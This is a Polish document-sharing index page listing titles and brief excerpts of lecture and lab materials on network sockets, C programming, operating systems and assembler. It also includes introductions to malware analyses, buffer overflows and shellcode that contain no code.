ZESZYTY ETI ZESPOŁU SZKÓŁ W TARNOBRZEGU Nr 1 Seria: Teleinformatyka 2013 ZESZYTY ETI ZESPOŁU SZKÓŁ W TARNOBRZEGU Nr 1 Seria: Teleinformatyka 2013 Paweł Kowalik Zespół Szkół im. ks. S. Staszica w Tarnobrzegu KOMUNIKACJA SIECIOWA MIĘDZY URZĄDZENIAMI Z WYKORZYSTANIEM PROTKOŁU

Bardziej szczegółowo

Model OSI/ISO. Komputer B. Warstwy w modelu OSI aplikacji. aplikacji. prezentacji Komputer A. prezentacji. sesji. sesji. komunikacja wirtualna

Model OSI/ISO. Komputer B. Warstwy w modelu OSI aplikacji. aplikacji. prezentacji Komputer A. prezentacji. sesji. sesji. komunikacja wirtualna 1 Plan wykładu 1. Model ISO/OSI warstwy modelu OSI transmisja w modelu OSI 2. Model TCP/IP protokół UDP protokół TCP 3. Połączenie i rozłączenie w TCP 4. Programowanie z wykorzystaniem gniazd. 2 Model

Bardziej szczegółowo

FUNKCJE WZORCOWE. Wykład 10. Programowanie Obiektowe (język C++) Funkcje wzorcowe wprowadzenie (2) Funkcje wzorcowe wprowadzenie (1)

FUNKCJE WZORCOWE. Wykład 10. Programowanie Obiektowe (język C++) Funkcje wzorcowe wprowadzenie (2) Funkcje wzorcowe wprowadzenie (1) Programowanie Obiektowe (język C++) Wykład 10. FUNKCJE WZORCOWE Funkcje wzorcowe wprowadzenie (1) Funkcje wzorcowe wprowadzenie (2) int max ( int a, int b ) return a>b? a : b; Aby mieć analogiczną funkcję

Bardziej szczegółowo

Sockety TCP/IP - podstawy. Sieci Komputerowe II Wyk ład 2

Sockety TCP/IP - podstawy. Sieci Komputerowe II Wyk ład 2 Sockety TCP/IP - podstawy Sieci Komputerowe II Wyk ład 2 Plan Klient IPv4 Serwer IPv4 Pierwszy program Aplikacja w architekturze klient-serwer Realizacja protokołu echo Zasada działania: klient łączy się

Bardziej szczegółowo

dynamiczny przydział pamięci calloc() memset() memcpy( ) (wskaźniki!! )

dynamiczny przydział pamięci calloc() memset() memcpy( ) (wskaźniki!! ) dynamiczny przydział pamięci malloc() free() realloc() calloc() memset() memcpy( ) mempcpy( ) memmove() (wskaźniki!! ) 1 dynamiczny przydział pamięci void * memccpy (void * to, void * from, int c, int

Bardziej szczegółowo

Informatyka. Wy-03 Dynamiczna alokacja pamięci, wyjątki. mgr inż. Krzysztof Kołodziejczyk

Informatyka. Wy-03 Dynamiczna alokacja pamięci, wyjątki. mgr inż. Krzysztof Kołodziejczyk Informatyka Wy-03 Dynamiczna alokacja pamięci, wyjątki mgr inż. Krzysztof Kołodziejczyk krzysztof.m.kolodziejczyk@pwr.edu.pl 13.03.2019 Strona kursu http://w12.pwr.wroc.pl/inf/ Konsultacje Piątek 13:00

Bardziej szczegółowo

Komputery i Systemy Równoległe Jędrzej Ułasiewicz 1

Komputery i Systemy Równoległe Jędrzej Ułasiewicz 1 Komputery i Systemy Równoległe Jędrzej Ułasiewicz 1 1 Interfejs gniazdek Jednolity interfejs API (Application Program Interface) do mechanizmów komunikacji sieciowej. Wprowadzony w wersji Unixa BSD 4.2

Bardziej szczegółowo

część 8 wskaźniki - podstawy Jarosław Gramacki Instytut Informatyki i Elektroniki Podstawowe pojęcia

część 8 wskaźniki - podstawy Jarosław Gramacki Instytut Informatyki i Elektroniki Podstawowe pojęcia Język ANSI C część 8 wskaźniki - podstawy Jarosław Gramacki Instytut Informatyki i Elektroniki Podstawowe pojęcia najbardziej podstawowe operacje na wskaźnikach int x = 1, y = 2, Tab[10]; int *ip; // czy

Bardziej szczegółowo

Aplikacja Sieciowa. Najpierw tworzymy nowy projekt, tym razem pracować będziemy w konsoli, a zatem: File->New- >Project

Aplikacja Sieciowa. Najpierw tworzymy nowy projekt, tym razem pracować będziemy w konsoli, a zatem: File->New- >Project Aplikacja Sieciowa Jedną z fundamentalnych właściwości wielu aplikacji jest możliwość operowania pomiędzy jednostkami (np. PC), które włączone są do sieci. W Windows operacja ta jest możliwa przy wykorzystaniu

Bardziej szczegółowo

Analiza malware Remote Administration Tool (RAT) DarkComet BeSTi@

Analiza malware Remote Administration Tool (RAT) DarkComet BeSTi@ Analiza malware Remote Administration Tool (RAT) DarkComet BeSTi@ 24 marzec, 2014 Wstęp Tydzień temu do wielu skrzynek pocztowych w Polsce trafił email z linkiem do pliku podszywającego się pod nową aktualizację

Bardziej szczegółowo

Laboratorium Informatyka (I) AiR Ćwiczenia z debugowania

Laboratorium Informatyka (I) AiR Ćwiczenia z debugowania Laboratorium Informatyka (I) AiR Ćwiczenia z debugowania Krzysztof Kluza, Janusz Miller 1 Debugowanie Debugowanie, czy też po polsku odpluskiwanie, to proces polegający na kontrolowanym wykonaniu programu

Bardziej szczegółowo

Pobieranie argumentów wiersza polecenia

Pobieranie argumentów wiersza polecenia Pobieranie argumentów wiersza polecenia 2. Argumenty wiersza polecenia Lista argumentów Lista argumentów zawiera cały wiersz poleceń, łącznie z nazwą programu i wszystkimi dostarczonymi argumentami. Przykłady:

Bardziej szczegółowo

PROGRAMOWANIE SYSTEMÓW CZASU RZECZYWISTEGO

PROGRAMOWANIE SYSTEMÓW CZASU RZECZYWISTEGO PROGRAMOWANIE SYSTEMÓW CZASU RZECZYWISTEGO LABORATORIUM Temat: QNX Neutrino Interrupts Mariusz Rudnicki 2016 Wstęp W QNX Neutrino wszystkie przerwania sprzętowe przechwytywane są przez jądro systemu. Obsługę

Bardziej szczegółowo

1.1 Przykład znajdowanie liczb pierwszych leżących w zadanym zakresie, tryb bezpołączeniowy

1.1 Przykład znajdowanie liczb pierwszych leżących w zadanym zakresie, tryb bezpołączeniowy 1.1 Przykład znajdowanie liczb pierwszych leżących w zadanym zakresie, tryb bezpołączeniowy Należy znaleźć liczby pierwsze w zakresie od 2 do N na P komputerach. Zarządca pocz[i], kon[i] wykonawca 1 wykonawca

Bardziej szczegółowo

Gniazda BSD implementacja w C#

Gniazda BSD implementacja w C# BSD implementacja w C# Implementacja w C#: Przestrzeń nazw: System.Net.Sockets Klasa: public class Socket : IDisposable Implementacja w C#: Konstruktor: public Socket( AddressFamily addressfamily, SocketType

Bardziej szczegółowo

Podstawy programowania. Wykład Pętle. Tablice. Krzysztof Banaś Podstawy programowania 1

Podstawy programowania. Wykład Pętle. Tablice. Krzysztof Banaś Podstawy programowania 1 Podstawy programowania. Wykład Pętle. Tablice. Krzysztof Banaś Podstawy programowania 1 Pętle Pętla jest konstrukcją sterującą stosowaną w celu wielokrotnego wykonania tego samego zestawu instrukcji jednokrotne

Bardziej szczegółowo

Wykład 3: Implementacja programów wbudowanych

Wykład 3: Implementacja programów wbudowanych Systemy wbudowane Wykład 3: Implementacja programów wbudowanych Problemy implementacji oprogramowania wbudowanego Szeregowanie zadań System operacyjny Obsługa przerwań 10/16/2010 S.Deniziak:Systemy wbudowane

Bardziej szczegółowo

RULE SET BASED ACCESS CONTROL. Paweł Bylina (pako@overflow.pl)

RULE SET BASED ACCESS CONTROL. Paweł Bylina (pako@overflow.pl) RULE SET BASED ACCESS CONTROL Paweł Bylina (pako@overflow.pl) Plan wykładu. Czym jest RSBAC? Moduł AUTH. Moduł UM. Moduł RC. Moduł ACL. Moduł CAP. Co jeszcze? Implementacja polityki bezpieczeństwa dla

Bardziej szczegółowo

Instytut Teleinformatyki

Instytut Teleinformatyki Instytut Teleinformatyki Wydział Inżynierii Elektrycznej i Komputerowej Politechnika Krakowska programowanie usług sieciowych Dziedzina Unix laboratorium: 06 Kraków, 2014 06. Programowanie Usług Sieciowych

Bardziej szczegółowo

Wykorzystanie protokołu SCEP do zarządzania certyfikatami cyfrowymi w systemie zabezpieczeń Check Point NGX

Wykorzystanie protokołu SCEP do zarządzania certyfikatami cyfrowymi w systemie zabezpieczeń Check Point NGX Wykorzystanie protokołu SCEP do zarządzania certyfikatami cyfrowymi w systemie zabezpieczeń Check Point NGX 1. Wstęp Protokół SCEP (Simple Certificate Enrollment Protocol) został zaprojektowany przez czołowego

Bardziej szczegółowo

Laboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach

Laboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach Laboratorium Systemów Operacyjnych Ćwiczenie 4. Operacje na plikach Wykonanie operacji wymaga wskazania pliku, na którym operacja ma zostać wykonana. Plik w systemie LINUX identyfikowany jest przez nazwę,

Bardziej szczegółowo

Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi.

Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi. Przykład: $ ls more Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi. Tworzenie łącza #include int pipe(int filedes[2]); Przykład: int

Bardziej szczegółowo

Codecave jest to nieużywana pamięć uruchomionej aplikacji, do której można wstrzyknąć dowolny kod a następnie wykonać go.

Codecave jest to nieużywana pamięć uruchomionej aplikacji, do której można wstrzyknąć dowolny kod a następnie wykonać go. Każda uruchomiona aplikacja posiada swoją pamięć (pamięć procesu). Technika DllInjection pozwala programiście na wstrzyknięcie kodu do uruchomionego procesu, dzięki czemu można poszerzyć go o nowe funkcje

Bardziej szczegółowo

Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych.

Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych. Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych. 1. Przygotowanie środowiska programistycznego. Zajęcia będą

Bardziej szczegółowo

Przekazywanie argumentów wskaźniki

Przekazywanie argumentów wskaźniki Przekazywanie argumentów wskaźniki klasyczne wywołanie wyliczenie i zwrotne przekazanie tylko jednej wielkości moŝliwość uŝycia zmiennych globalnych niebezpieczeństwa z tym związane wyjście wywołanie funkcji

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012 PROGRAMOWANIE NISKOPOZIOMOWE PN.04 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 3 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.04 Rok akad.

Bardziej szczegółowo

Przepełnienie bufora. Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania)

Przepełnienie bufora. Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania) Przepełnienie bufora Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania) Historia ważniejsze wydarzenia 1988 Morris worm, wykorzystywał m.in. przepełnienie bufora

Bardziej szczegółowo

Testy penetracyjne Przykłady programów

Testy penetracyjne Przykłady programów Bezpieczeństwo systemów informatycznych Testy penetracyjne Przykłady programów Zbigniew Suski 1 Rekonesans - przykłady Zbigniew Suski 2 Rekonesans - przykłady Zbigniew Suski 3 Rekonesans - przykłady Zbigniew

Bardziej szczegółowo

Programowanie aplikacji równoległych i rozproszonych. Wykład 4

Programowanie aplikacji równoległych i rozproszonych. Wykład 4 Wykład 4 p. 1/44 Programowanie aplikacji równoległych i rozproszonych Wykład 4 Dr inż. Tomasz Olas olas@icis.pcz.pl Instytut Informatyki Teoretycznej i Stosowanej Politechnika Częstochowska Gniazda - Wstęp

Bardziej szczegółowo

Gniazda UDP. Bartłomiej Świercz. Łódź, 3 kwietnia Katedra Mikroelektroniki i Technik Informatycznych. Bartłomiej Świercz Gniazda UDP

Gniazda UDP. Bartłomiej Świercz. Łódź, 3 kwietnia Katedra Mikroelektroniki i Technik Informatycznych. Bartłomiej Świercz Gniazda UDP Gniazda UDP Bartłomiej Świercz Katedra Mikroelektroniki i Technik Informatycznych Łódź, 3 kwietnia 2006 Wstęp ZewzględunaróżnicewprotokołachTCPiUDPsposób korzystania z gniazd UDP różni sie znacznie od

Bardziej szczegółowo

Aplikacja Sieciowa wątki po stronie klienta

Aplikacja Sieciowa wątki po stronie klienta Aplikacja Sieciowa wątki po stronie klienta Na ostatnich zajęciach zajmowaliśmy się komunikacją pomiędzy klientem a serwerem. Wynikiem naszej pracy był program klienta, który za pomocą serwera mógł się

Bardziej szczegółowo

TCP - receive buffer (queue), send buffer (queue)

TCP - receive buffer (queue), send buffer (queue) BSD sockets c.d. TCP - receive buffer (queue), send buffer (queue) Z każdym gniazdem sieciowym są skojarzone: Bufor do odbierania danych (ang. receive buffer) Przychodzące dane są umieszczane w buforze

Bardziej szczegółowo

BAZY DANYCH. Obsługa bazy z poziomu języka PHP. opracowanie: Michał Lech

BAZY DANYCH. Obsługa bazy z poziomu języka PHP. opracowanie: Michał Lech BAZY DANYCH Obsługa bazy z poziomu języka PHP opracowanie: Michał Lech Plan wykładu 1. PHP - co to jest? 2. Bazy danych obsługiwane przez PHP 3. Podstawowe polecenia 4. Sesje 5. Przykład - dodawanie towaru

Bardziej szczegółowo

Ćwiczenie 3. Konwersja liczb binarnych

Ćwiczenie 3. Konwersja liczb binarnych 1 Laboratorium Architektury Komputerów Ćwiczenie 3 Konwersja liczb binarnych Komputery wykonują operacje przetwarzania danych na wartościach binarnych, podczas gdy współczesna cywilizacja posługuje się

Bardziej szczegółowo

Faktura Orange z 11 lipca 2014 roku zawierająca złośliwe oprogramowanie ANALIZA

Faktura Orange z 11 lipca 2014 roku zawierająca złośliwe oprogramowanie ANALIZA Faktura Orange z 11 lipca 2014 roku zawierająca złośliwe oprogramowanie ANALIZA 21 Lipiec, 2014 W dniu 11 lipca 2014 zarejestrowaliśmy kolejną kampanię polegającą na rozsyłaniu złośliwego oprogramowania

Bardziej szczegółowo

Programowanie w asemblerze Uruchamianie programów

Programowanie w asemblerze Uruchamianie programów Programowanie w asemblerze Uruchamianie programów 17 stycznia 2017 Uruchamianie programów Przy uruchamianiu i badaniu zachowania programów systemowych używa się wielu narzędzi. Prostsze z ich, takie jak

Bardziej szczegółowo

PROGRAMOWANIE SYSTEMÓW CZASU RZECZYWISTEGO

PROGRAMOWANIE SYSTEMÓW CZASU RZECZYWISTEGO PROGRAMOWANIE SYSTEMÓW CZASU RZECZYWISTEGO LABORATORIUM Temat: THREADS Mariusz Rudnicki 2016 1. Przygotowanie platformy i środowiska IDE. Przed uruchomieniem własnego kodu zwiększ priorytet procesu qconn

Bardziej szczegółowo

Sieciowa komunikacja procesów - XDR i RPC

Sieciowa komunikacja procesów - XDR i RPC *** abc.x Przyklad pliku RPCGEN Obliczanie sumy, roznicy i iloczynu dwoch liczb calkowitych *** ************************************ Wywolanie procedury odleglej dopuszcza tylko jeden argument wywolania

Bardziej szczegółowo

Gniazda. S. Samolej: Gniazda 1

Gniazda. S. Samolej: Gniazda 1 Gniazda dr inż. Sławomir Samolej Katedra Informatyki i Automatyki Politechnika Rzeszowska Program przedmiotu oparto w części na materiałach opublikowanych na: http://wazniak.mimuw.edu.pl/ oraz na materiałach

Bardziej szczegółowo

Stałe i zmienne znakowe. Stała znakowa: znak

Stałe i zmienne znakowe. Stała znakowa: znak Stałe i zmienne znakowe. Stała znakowa: znak Na przykład: a, 1, 0 c Każdy znak jest reprezentowany w pamięci przez swój kod. Kody alfanumerycznych znaków ASCII to liczby z przedziału [32, 127]. Liczby

Bardziej szczegółowo

nowe operatory &. (kropka) * operator rzutowy ->, (przecinek) sizeof

nowe operatory &. (kropka) * operator rzutowy ->, (przecinek) sizeof nowe operatory &. (kropka) * operator rzutowy ->, (przecinek) sizeof 1 adres zmiennej Do pobrania adresu zmiennej używa się jednoargumentowego operatora & (uwaga & może mieć także znaczenie dwuargumentowego

Bardziej szczegółowo

Ćwiczenie 4. Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1.

Ćwiczenie 4. Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1. Laboratorium Podstaw Informatyki Strona 1 Laboratorium Podstaw Informatyki Kierunek Elektrotechnika Ćwiczenie 4 Obsługa plików Kraków 2010 Laboratorium Podstaw Informatyki Strona 2 Obsługa plików Zanim

Bardziej szczegółowo

Programowanie Systemów Wbudowanych

Programowanie Systemów Wbudowanych Programowanie Systemów Wbudowanych Debugowanie z GDB Iwona Kochańska Gdansk University of Technology GNU debugger Identyfikacja i naprawianie błędów to część procesu wytwarzania oprogramowania Techniki

Bardziej szczegółowo

Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1. Kraków 2013

Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1. Kraków 2013 Laboratorium Podstaw Informatyki Strona 1 Laboratorium Podstaw Informatyki Kierunek Elektrotechnika Obsługa plików Kraków 2013 Laboratorium Podstaw Informatyki Strona 2 Obsługa plików Zanim będziemy mogli

Bardziej szczegółowo

Obsługa plików. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 25 września 2011

Obsługa plików. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 25 września 2011 Obsługa plików Systemy Operacyjne 2 laboratorium Mateusz Hołenko 25 września 2011 Plan zajęć 1 Pliki w systemie Linux i-węzły deskryptory plików 2 Operacje na plikach otwieranie i zamykanie zapis i odczyt

Bardziej szczegółowo

Protokół komunikacyjny sondy cyfrowej CS-26/RS-485 (lub RS-232)

Protokół komunikacyjny sondy cyfrowej CS-26/RS-485 (lub RS-232) 2011-07-04 Protokół komunikacyjny sondy cyfrowej CS-26/RS-485 (lub RS-232) Parametry transmisji : 9600, N, 8, 1 Sonda CS-26/RS-485 dołączona do interfejsu RS-485 pracuje poprawnie w trybie half-duplex.

Bardziej szczegółowo

Co nie powinno być umieszczane w plikach nagłówkowych:

Co nie powinno być umieszczane w plikach nagłówkowych: Zawartość plików nagłówkowych (*.h) : #include #define ESC 27 dyrektywy dołączenia definicje stałych #define MAX(x,y) ((x)>(y)?(x):(y)) definicje makr int menu(char* tab[], int ilosc); struct

Bardziej szczegółowo

Zdalne wywołania procedur. Jarosław Kuchta Programowanie Współbieżne

Zdalne wywołania procedur. Jarosław Kuchta Programowanie Współbieżne Zdalne wywołania procedur Jarosław Kuchta Programowanie Współbieżne Podstawy RPC Remote Procedure Call Wywołanie procedur jednego procesu z innego procesu. Proces wywoływany serwer Proces wywołujący -

Bardziej szczegółowo

Zmienne powłoki. Wywołanie wartości następuje poprzez umieszczenie przed nazwą zmiennej znaku dolara ($ZMIENNA), np. ZMIENNA=wartosc.

Zmienne powłoki. Wywołanie wartości następuje poprzez umieszczenie przed nazwą zmiennej znaku dolara ($ZMIENNA), np. ZMIENNA=wartosc. Zmienne powłoki Zmienne powłoki (shell variables) to tymczasowe zmienne, które mogą przechowywać wartości liczbowe lub ciągi znaków. Związane są z powłoką, Przypisania wartości do zmiennej następuje poprzez

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012 PROGRAMOWANIE NISKOPOZIOMOWE PN.06 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.06 Rok akad.

Bardziej szczegółowo

Architektura komputerów

Architektura komputerów Architektura komputerów Wykład 10 Jan Kazimirski 1 Programowanie w assemblerze x86 c.d. 2 Funkcje systemowe System operacyjny UNIX udostępnia programom usługi za pomocą funkcji systemowych (syscall). Liczba

Bardziej szczegółowo

Co to jest sterta? Sterta (ang. heap) to obszar pamięci udostępniany przez system operacyjny wszystkim działającym programom (procesom).

Co to jest sterta? Sterta (ang. heap) to obszar pamięci udostępniany przez system operacyjny wszystkim działającym programom (procesom). Zarządzanie pamięcią Pamięć: stos i sterta Statyczny i dynamiczny przydział pamięci Funkcje ANSI C do zarządzania pamięcią Przykłady: Dynamiczna tablica jednowymiarowa Dynamiczna tablica dwuwymiarowa 154

Bardziej szczegółowo

Najbardziej popularne metody włamań

Najbardziej popularne metody włamań Prezentacja: Najbardziej popularne metody włamań Aleksander Grygiel Plan prezentacji Skanery portów Ataki przez przepełnienie bufora Ataki z wykorzystaniem dowiązań w /tmp Ataki odmowy dostępu Skanowanie

Bardziej szczegółowo

Gniazda - Wstęp. Oprogramowanie systemów równoległych i rozproszonych. Sposób komunikacji. Domena adresowa. olas@icis.pcz.pl

Gniazda - Wstęp. Oprogramowanie systemów równoległych i rozproszonych. Sposób komunikacji. Domena adresowa. olas@icis.pcz.pl Gniazda - Wstęp Oprogramowanie systemów równoległych i rozproszonych Dr inż. Tomasz Olas olas@icis.pcz.pl Instytut Informatyki Teoretycznej i Stosowanej Politechnika Częstochowska Domena adresowa 1/??

Bardziej szczegółowo

Ćwiczenia 2 IBM DB2 Data Studio

Ćwiczenia 2 IBM DB2 Data Studio Ćwiczenia 2 IBM DB2 Data Studio Temat: Aplikacje w Data Studio 1. Projekty Tworzenie procedur, UDF, trygerów zaczynamy od utworzenia projektu File -> New -> Project wybieramy Data Development Project.

Bardziej szczegółowo

funkcje rekurencyjne Wykład 12. Podstawy programowania (język C) Funkcje rekurencyjne (1) Funkcje rekurencyjne (2)

funkcje rekurencyjne Wykład 12. Podstawy programowania (język C) Funkcje rekurencyjne (1) Funkcje rekurencyjne (2) Podstawy programowania (język C) funkcje rekurencyjne Wykład 12. Tomasz Marks - Wydział MiNI PW -1- Tomasz Marks - Wydział MiNI PW -2- Funkcje rekurencyjne (1) W języku C funkcja moŝe wywoływać samą siebie.

Bardziej szczegółowo

Zdalna obsługa transcievera. H A M R A D I O D E L U X E R e m o t e S e r v e r C o n f i g u r a t i o n

Zdalna obsługa transcievera. H A M R A D I O D E L U X E R e m o t e S e r v e r C o n f i g u r a t i o n Zdalna obsługa transcievera H A M R A D I O D E L U X E R e m o t e S e r v e r C o n f i g u r a t i o n Do poprawnej pracy zdalnego dostępu do radiostacji, niezbędne jest działające oprogramowanie Ham

Bardziej szczegółowo

Programowanie niskopoziomowe

Programowanie niskopoziomowe Programowanie niskopoziomowe Programowanie niskopoziomowe w systemie operacyjnym oraz poza nim Tworzenie programu zawierającego procedury asemblerowe 1 Programowanie niskopoziomowe w systemie operacyjnym

Bardziej szczegółowo

referencje Wykład 2. Programowanie (język C++) Referencje (1) int Num = 50; zdefiniowano zmienną Num (typu int) nadając jej wartość początkową 50.

referencje Wykład 2. Programowanie (język C++) Referencje (1) int Num = 50; zdefiniowano zmienną Num (typu int) nadając jej wartość początkową 50. Programowanie (język C++) referencje Wykład 2. Referencje (1) Referencja (odnośnik) jest zmienną identyfikującą inną zmienną. Wykonanie operacji na referencji ma taki sam skutek, jak wykonanie tejŝe operacji

Bardziej szczegółowo

Metody Realizacji Języków Programowania

Metody Realizacji Języków Programowania Metody Realizacji Języków Programowania Bardzo krótki kurs asemblera x86 Marcin Benke MIM UW 10 stycznia 2011 Marcin Benke (MIM UW) Metody Realizacji Języków Programowania 10 stycznia 2011 1 / 22 Uwagi

Bardziej szczegółowo

Wstęp. do języka C na procesor 8051. (kompilator RC51)

Wstęp. do języka C na procesor 8051. (kompilator RC51) Wstęp do języka C na procesor 8051 (kompilator RC51) Kompilator języka C Kompilator RC51 jest kompilatorem języka C w standardzie ANSI Ograniczeń w stosunku do ANSI jest niewiele głównie rzadkie operacje

Bardziej szczegółowo

Shellcody a architektura MIPS na systemach IRIX. Adam Zabrocki.

Shellcody a architektura MIPS na systemach IRIX. Adam Zabrocki. Adam Zabrocki http://pi3.shellcode.pl pi3@itsec.pl Architektura MIPS: MIPS Microprocessor without Interlocked Piped Stages: RISC Rationalized Instruction Set Computers (Reduced Instruction Set Computers)

Bardziej szczegółowo

Dzisiejszy wykład. Wzorce projektowe. Visitor Client-Server Factory Singleton

Dzisiejszy wykład. Wzorce projektowe. Visitor Client-Server Factory Singleton Dzisiejszy wykład Wzorce projektowe Visitor Client-Server Factory Singleton 1 Wzorzec projektowy Wzorzec nazwana generalizacja opisująca elementy i relacje rozwiązania powszechnie występującego problemu

Bardziej szczegółowo

Adam Kotynia, Łukasz Kowalczyk

Adam Kotynia, Łukasz Kowalczyk Adam Kotynia, Łukasz Kowalczyk Dynamiczna alokacja pamięci Alokacja pamięci oraz dezalokacja pamięci jest to odpowiednio przydział i zwolnienie ciągłego obszaru pamięci. Po uruchomieniu, proces (program)

Bardziej szczegółowo

Podstawy programowania w języku C++

Podstawy programowania w języku C++ Podstawy programowania w języku C++ Część jedenasta Przetwarzanie plików amorficznych Konwencja języka C Autor Roman Simiński Kontakt roman.siminski@us.edu.pl www.us.edu.pl/~siminski Niniejsze opracowanie

Bardziej szczegółowo